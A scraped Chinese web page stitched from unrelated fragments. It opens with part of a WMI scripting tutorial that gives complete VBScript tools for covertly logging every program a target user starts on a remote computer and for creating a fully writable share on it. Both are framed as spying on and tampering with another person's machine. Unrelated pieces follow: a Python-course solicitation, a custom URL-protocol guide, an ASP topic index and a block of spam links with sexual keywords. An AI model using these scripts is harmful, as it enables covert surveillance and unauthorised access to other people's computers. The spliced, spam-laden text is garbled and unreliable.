          在任務(wù)一和任務(wù)三中我們都是在查看對方的進程,出來的結(jié)果對我們意義不是很大,在這個任務(wù)中我們要從現(xiàn)在開始每當他開一個任務(wù)我們就察覺到,并把它記錄下來。我們要在他開進程的那一秒開始報告并記錄,我們要清楚他所開的程序所在的位置,我們要比他更清楚地知道這些信息。

          現(xiàn)在我們就按照前面提到的三個步驟來實現(xiàn)任務(wù)。

          首先,我們連接到對方的WMI。在這里我們首先調(diào)用 VBScript 的中的Createobject()來得到一個對象,然后利用這個特殊的對象的方法來連接到遠程的計算機上。這個特殊的對象就是wbemscripting.swbemlocator。

          set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)

          注意其中的strComputer就是你所要連接的計算機的名稱或者IP地址,strUser,strPwd當然就是用戶名和密碼了,我們說過這個用戶必須是具有管理員權(quán)限的才可以。root\cimv2是WMI的命名空間,關(guān)于WMI的命名空間,大家可以到"計算機管理\WMI控件"中看到,這里面的學問就大了,得慢慢琢磨,為了我們的任務(wù)快速實現(xiàn),我就不多解釋了。用這種方法連接到WMI,返回一個對SWbemServices對象的引用,一旦有一個對 SWbemServices對象的引用。我們就可以進行第二個步驟了。

          在第二個步驟中,我們將得到WMI 托管資源的實例,我們利用WbemServices中的一個方法ExecNotificationQuery可以查詢我們所要的類,進而可以得到該類中實例。

          Set colMonitoredProcesses=wbemServices. _ ExecNotificationQuery("select * from __instancecreationevent " _ & " within 1 where TargetInstance isa 'Win32_Process'")

          注意這里有個類似于SQL語言的查詢語言,這里叫做WQL語言,懂SQL的一看就明白了,不懂的就在網(wǎng)上找找它的資料,滿天都是。得到的colMonitoredProcesses是所查詢的類的實例的集合。有了這些我們的第三個步驟就可以開始了。

          在第三個步驟中,我們將顯示出得到的實例中的屬性。剛才我們得到的是實例的集合,在這里我們通過colMonitoredProcesses.NextEvent來獲取每一個具體的實例,得到每一個具體的實例后,我們就可以顯示出他們的屬性,也就是我們想看的東西了。這里我們顯示了CommandLine的屬性值。

          到現(xiàn)在你是否有些迷惑了,因為你還不知道到底WMI里面有那些類,具體類又有哪些屬性,呵呵,沒有關(guān)系的,用一些工具可以很輕松的得到這些信息。比如系統(tǒng)自帶的wbemtest,在運行中敲入這個程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個步驟。自己慢慢玩吧,很快你就會發(fā)現(xiàn)WMI太大了,單是命名空間就有10多個,然后單是我們常用的空間root\CIMV2里面就有近1000個類,每個類里面又有好多的屬性,有些類還有好多方法。哈哈,頭暈了吧?沒關(guān)系,其實你只需要知道其中的一些就好了。

          看到這些估計你的頭已經(jīng)很大了,但是恭喜你,我們的這個任務(wù)已經(jīng)完成了,是的,就是這么簡單,下面我將完整代碼奉獻出來。

          Set colArgs=WScript.Arguments
          If WScript.arguments.count < 3 then
          WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
          WScript.quit
          End If
          strComputer=wscript.arguments(0)
          strUser=wscript.arguments(1)
          strPwd=wscript.arguments(2)
          strFile=wscript.arguments(3)
          set olct=createobject("wbemscripting.swbemlocator")
          set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
          Set colMonitoredProcesses=wbemServices. _ 
          ExecNotificationQuery("select * from __instancecreationevent " _ 
          & " within 1 where TargetInstance isa 'Win32_Process'")
          i=0
          Do While i=0
          Set objLatestProcess=colMonitoredProcesses.NextEvent
          Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
          Set objFS=CreateObject("Scripting.FileSystemObject")
          Set objNewFile=objFS.OpenTextFile(strFile,8,true)
          objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
          objNewFile.Close
          Loop
          
          

          到這個程序的核心了吧?相信你已經(jīng)懂了其中的很多,剩余的部分代碼我稍后解釋。我們先來感性認識一下,先看它該怎么用吧!把上面的代碼拷貝到記事本中,然后保存為monitor.vbs的文件,然后在命令提示符下輸入:

          CSCRIPT monitor.vbs

          回車,你就會看到幫助,下面舉例說明這個腳本的具體用法:

          CSCRIPT monitor.vbs 192.168.1.2 user password C:.txt

          在命令提示符下敲入上面的命令就OK了,每當對方開一個程序的時候,你就可以看到時間,程序路徑和程序名。如果你沒有時間去看這些信息,你還可以等有時間的時候到C:.txt看到這些信息。

          小知識:

          每次使用腳本,都必須敲入CSCRIPT和腳本的后綴名,很麻煩。這是因為系統(tǒng)默認的執(zhí)行引擎是WSCRIPT,可以將它改成CSCRIPT。另外一個讓人不爽的是腳本執(zhí)行后總要顯示微軟的說明,好像腳本不是我們寫的一樣。不過你可以通過在命令提示符下敲入下面的命令來解決這個問題:

          cscript //nologo //h:cscript //s

          這樣你以后再運行這些腳本的時候就不用在敲入CSCRIPT了,也不用在寫入.vbs的后綴名了,就上面的例子來說,你可以這樣用:

          monitor 192.168.1.2 user password C:.txt

          解釋:

          1)前面的那幾行,大概就是為了顯示幫助和處理我們在后面輸入的參數(shù)。應(yīng)用到了WScript.Arguments這個對象,利用它我們可以來獲取并處理腳本的參數(shù)。

          2)那個死循環(huán)是為了讓我們一直監(jiān)視他(她),每當他開一個程序,我們就得到一個新的實例,我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當我們這個腳本運行后,只有通過我們?nèi)藶橹兄共拍苤袛啾O(jiān)視,人為中止的方法大家可以用CTRL+C來完成,也可以用各種野蠻的方法來中止。

          3)在代碼中出現(xiàn)的另外一個核心對象就是FileSystemObject,應(yīng)該是大家的老朋友了吧,我這里就不再做解釋了,我們在這里應(yīng)用它主要是為了將結(jié)果同時保存到一個文件中,我們利用它來創(chuàng)建或打開一個文件,將信息追加進去。

          4)至于那個NOW,雖然體積很小,但是卻正是它給我們提供了時間這個重要的信息。

          5)如果你想要監(jiān)視的是自己的計算機而不是遠程的計算機(據(jù)我所知,這個應(yīng)用還是很廣的)。那么請將計算機名的參數(shù)寫為一個小點,用戶名和密碼留為空。如下所示:

          monitor . "" "" C:.txt

          2.任務(wù)五:利用腳本給對方開放共享

          有了任務(wù)四的基礎(chǔ),這次我們就先看代碼吧:

          Set colArgs=WScript.Arguments
          If WScript.arguments.count < 5 then
          WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
          WScript.quit
          End If
          strComputer=wscript.arguments(0)
          strUser=wscript.arguments(1)
          strPwd=wscript.arguments(2)
          strPath=wscript.arguments(3)
          strShareName=wscript.arguments(4)
          intMaximumAllowed=1
          strDescription="Temporary share"
          Const SHARED_FOLDER=0
          set olct=createobject("wbemscripting.swbemlocator")
          set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
          Set objSWbemObject=wbemServices.Get("Win32_Share")
          intReturnvalue=objSWbemObject.Create(strPath, _
          strShareName, _
          SHARED_FOLDER, _
          intMaximumAllowed, _
          strDescription)
          if(intReturnvalue=0) Then
          WScript.Echo "The share have been created successfully"
          End If
          
          

          解說:

          1)我們可以看出來前面的那幾行是為顯示幫助和處理輸入?yún)?shù)而存在的。

          2)緊接著設(shè)置了幾個變量,為以后做參數(shù)用的。這里我們可以先不理會它。

          3)連接到主機的WMI,然后就是查詢。前面已經(jīng)說的很詳細了。

          4)這次得到實例集后,我們用了它的一個方法,也就是這個方法讓共享成為了可能,聯(lián)系到第二部分的內(nèi)容,我們不難知道第一個參數(shù)表示要共享的路徑和文件名,第二個參數(shù)表示共享名,第三個參數(shù)為0就可以了,第四個參數(shù)是指可以連接的人數(shù),第五個參數(shù)是共享描述了,而我們只關(guān)心前面的兩個參數(shù)。如果手頭有MSDN那就好辦了,到MSDN中可以查到該方法的更詳細的內(nèi)容。

          5)這次我們根據(jù)第四步的返回值來得到共享是否成功,并給出提示。不同的返回值代表不同的意義。這個信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表拒絕訪問,9代表用戶名錯誤,25代表主機名沒有找到等等。

          6)這次我們要注意的是,用這個腳本來實現(xiàn)遠程文件共享,要求遠程存在這個文件,否則無法共享。當然你也可以利用教本創(chuàng)建自己的文件夾,很容易的,自己創(chuàng)建吧。

          7)如上腳本創(chuàng)建后的共享是完全共享。就是可以刪除修改文件的。

          8)用法舉例:share netp net swswsw C:\dodo marsh

          好了,到現(xiàn)在為止,大家應(yīng)該對這位朋友有些了解了,我的介紹任務(wù)也就告一段落了,如果大家想進一步認識它,那就主要靠大家的主動性了。這次我們主要通過WMIC和腳本來認識它,下次我將帶領(lǐng)大家通過真正的程序代碼來認識它,讓它也有個象Windows一樣漂亮的臉蛋。今天我所提到的估計只能算是WMI的萬分之一,都算不上是冰山一角。剩余的要靠自己來發(fā)揮了。如果你肯利用你的所學,那么奇跡就會產(chǎn)生。

          當然如果想學好vbs就要查看一些資料:

          這里推薦兩個介紹基礎(chǔ)函數(shù)的地址,然后大家可以多看下別人的代碼,多練習,多寫。

          最后,小編想說:我是一名python開發(fā)工程師,

          整理了一套最新的python系統(tǒng)學習教程,

          想要這些資料的可以關(guān)注私信小編“01”即可(免費分享哦)希望能對你有所幫助

          時,我們希望實現(xiàn)這樣一個特性:單擊HTML頁面上的鏈接將調(diào)用本地可執(zhí)行文件。像騰訊QQ、迅雷這類。

          實現(xiàn)此功能也非常簡單,這需要我們添加和修改注冊表來實現(xiàn)自定義URL協(xié)議協(xié)議。

          自定義URL Protocol 協(xié)議

          一些應(yīng)用軟件可以在瀏覽器中點擊一個url后自動啟動,并執(zhí)行操作。

          1. win+r打開注冊表,輸入regedit進入注冊表

          2. 在注冊表 左邊最上面HKEY_CLASSES_ROOT那個樹右鍵新建——項。該項的名稱自己命名,其實該名稱也是協(xié)議的名稱,我們調(diào)用的時候就是根據(jù)該協(xié)議調(diào)用的,而我這里隨便起了一個:ZZO。

          3. 然后在該項中右鍵->新建->字符串值,創(chuàng)建一個URL Protocol的值,其中數(shù)據(jù)默認為空。

          4. 然后在ZZO下新建->項,名字為DefaultIcon

          5. 在ZZO下新建->項,名稱為shell。并在shell下新建名為open的項。然后在open下新建名為command的項

          6. 然后分別修改DefaultIcon 和 command 的值為要調(diào)用的程序完整路徑.

          比如我這里要調(diào)用的是QQ,完整路徑為:D:\Program Files (x86)\Tencent\QQ\Bin\QQScLauncher.exe

          7. 然后我們在html頁面添加一個a標簽

          <a href="Zzo://">open</a>

          8. 點擊頁面按鈕

          通過網(wǎng)站調(diào)用可執(zhí)行程序,主要是修改注冊表,注冊 URL Protocol 協(xié)議。

          注意上面 command 項的值可以為 C:\Program Files (x86)\Qiaoker\updater.exe "%1" ,這個"%1"是傳遞給 updater.exe的參數(shù)。

          加了后使用是我們就可以傳參數(shù)了,

          <a href="Uaiqiy://cid:110&username:mjq">

          方式二:使用js調(diào)起客戶端

          除了上面那種方式,我們還可以通過調(diào)用js函數(shù)實現(xiàn)客戶端exe程序的調(diào)用,但是這種方式局限性很大,目前只支持IE瀏覽器。

          代碼如下:

          function execProgram() {

          var exepath="D:\Program Files (x86)\Tencent\QQMusic\QQMusic.exe"

          var ws=new ActiveXObject("WScript.Shell");

          ws.Exec(exepath);

          }

          礎(chǔ)

          用ASP寫文本

          向文本添加HTML

          變量

          聲明變量

          聲明數(shù)組

          循環(huán)生成HTML標題

          使用Vbscript制作基于時間的問候語

          使用JavaScript制作基于時間的問候語

          Date/Time 函數(shù)(VBScript)

          日期和時間

          獲得天的名字

          獲得月的名字

          獲得今天的月和天

          3000年倒計時

          從今天起計算N天后

          格式化日期和時間

          這是一個日期嗎?

          其他函數(shù)(VBScript)

          大寫或小寫的字符串

          字符串去掉前后空格

          如何轉(zhuǎn)化一個字符串?

          四舍五入

          一個隨機數(shù)

          從一個字符串返回特定的字符

          替換字符串的特定字符

          從字符串中返回指定數(shù)目的字符

          程序

          調(diào)用使用VBScript的子程序

          調(diào)用使用JavaScript的子程序

          調(diào)用使用VBScript和JavaScript的子程序

          表單

          使用method="get"的表單

          使用method="post"的表單

          使用單選按鈕的表單

          Cookie

          Welcome cookie

          Response 對象

          使用ASP寫文本

          在ASP中使用HTML標簽格式化文本

          將用戶重定向至不同的URL

          顯示隨機的鏈接

          控制緩存

          清空緩存

          在處理過程中終止腳本并返回結(jié)果

          設(shè)置在頁面失效前把頁面在瀏覽器中緩存多少分鐘

          設(shè)置頁面緩存在瀏覽器中的失效日期或時間

          檢查用戶是否仍然與服務(wù)器相連

          設(shè)置內(nèi)容類型

          設(shè)置字符集

          Request 對象

          鏈接url傳參數(shù)

          一個QueryString集合的簡單應(yīng)用

          從表單獲取信息

          從表單獲取更多信息

          表單集合的簡單應(yīng)用

          如何使用來自表單的信息

          從表單獲取更多信息

          帶單選按鈕的表單

          帶復選框的表單

          如何獲得訪問者的瀏覽器類型,IP地址或更多

          獲取所有要求的servervariables

          Welcome cookie

          用戶發(fā)送的字節(jié)總數(shù)

          Session 對象

          返回SessionID

          session 的超時

          Server 對象

          此文件最后被修改的時間是?

          打開并讀取某個文本文件

          自制的點擊計數(shù)器

          FileSystem 對象

          指定的文件存在嗎?

          指定的文件夾存在嗎?

          指定的驅(qū)動器存在嗎?

          取得某個指定驅(qū)動器的名稱

          取得某個指定路徑的父文件夾的名稱

          取得文件擴展名

          取得文件或文件夾的基名稱

          TextStream 對象

          讀文本文件

          讀文本文件中的一個部分

          讀文本文件中的一行

          讀取文本文件的所有行

          略過文本文件的一部分

          略過文本文件的一行

          返回行數(shù)

          取得列數(shù)

          Drive 對象

          取得指定驅(qū)動器的可用空間數(shù)

          取得指定驅(qū)動器的剩余空間容量

          取得指定驅(qū)動器的總?cè)萘?/p>

          取得指定驅(qū)動器的驅(qū)動器字母

          取得指定驅(qū)動器的驅(qū)動器類型

          取得指定驅(qū)動器的文件系統(tǒng)信息

          驅(qū)動器是否已就緒?

          取得指定驅(qū)動器的路徑

          取得指定驅(qū)動器的根文件夾

          取得指定驅(qū)動器的序列號

          File 對象

          文件何時被創(chuàng)建

          此文件何時被修改

          此文件何時被訪問過

          返回指定文件的屬性

          Dictionary 對象

          指定的鍵存在嗎?

          返回一個所有項目的數(shù)組

          返回一個所有鍵的數(shù)組

          返回某個項目的值

          設(shè)置一個鍵

          返回鍵/項目對的數(shù)目

          AdRotator 組件

          簡單的AdRotator實例

          Browser Capabilities 組件

          每一個訪問網(wǎng)站的瀏覽器的類型、性能以及版本號

          ContentRotator 組件

          Content Rotator 組件

          Content Linking 組件

          Content Linking 組件

          Content Linking 組件2


          主站蜘蛛池模板: 国产一区视频在线| 国产精品夜色一区二区三区 | 亚洲a∨无码一区二区| 国产SUV精品一区二区88| 国产精品电影一区二区三区| 精品乱人伦一区二区| 亚洲乱色熟女一区二区三区丝袜| 亚洲综合无码一区二区三区| 色婷婷香蕉在线一区二区| 亚洲一区二区三区免费| 人妻天天爽夜夜爽一区二区| 欧洲精品码一区二区三区| 视频一区精品自拍| 无码少妇丰满熟妇一区二区| 性色AV 一区二区三区| 日本免费一区二区三区四区五六区| 亚洲AV无码片一区二区三区| 久久久不卡国产精品一区二区 | 亚洲一区动漫卡通在线播放| 国产一区二区三区精品久久呦| 日本大香伊一区二区三区| 无码中文字幕一区二区三区| 中文字幕在线无码一区| 无码人妻精品一区二区蜜桃| 在线观看国产一区| 日本一道高清一区二区三区| 日韩人妻无码一区二区三区| 欧美日韩精品一区二区在线视频 | 无码精品一区二区三区| 中文字幕在线一区二区三区| 亚洲国产欧美一区二区三区| 国偷自产Av一区二区三区吞精| 欧美人妻一区黄a片| 久久国产精品视频一区| 精品视频午夜一区二区| 国产成人一区二区三中文| 丰满爆乳一区二区三区| 日韩A无码AV一区二区三区 | 精品成人乱色一区二区| 国产成人精品a视频一区| 久久一区二区三区精华液使用方法|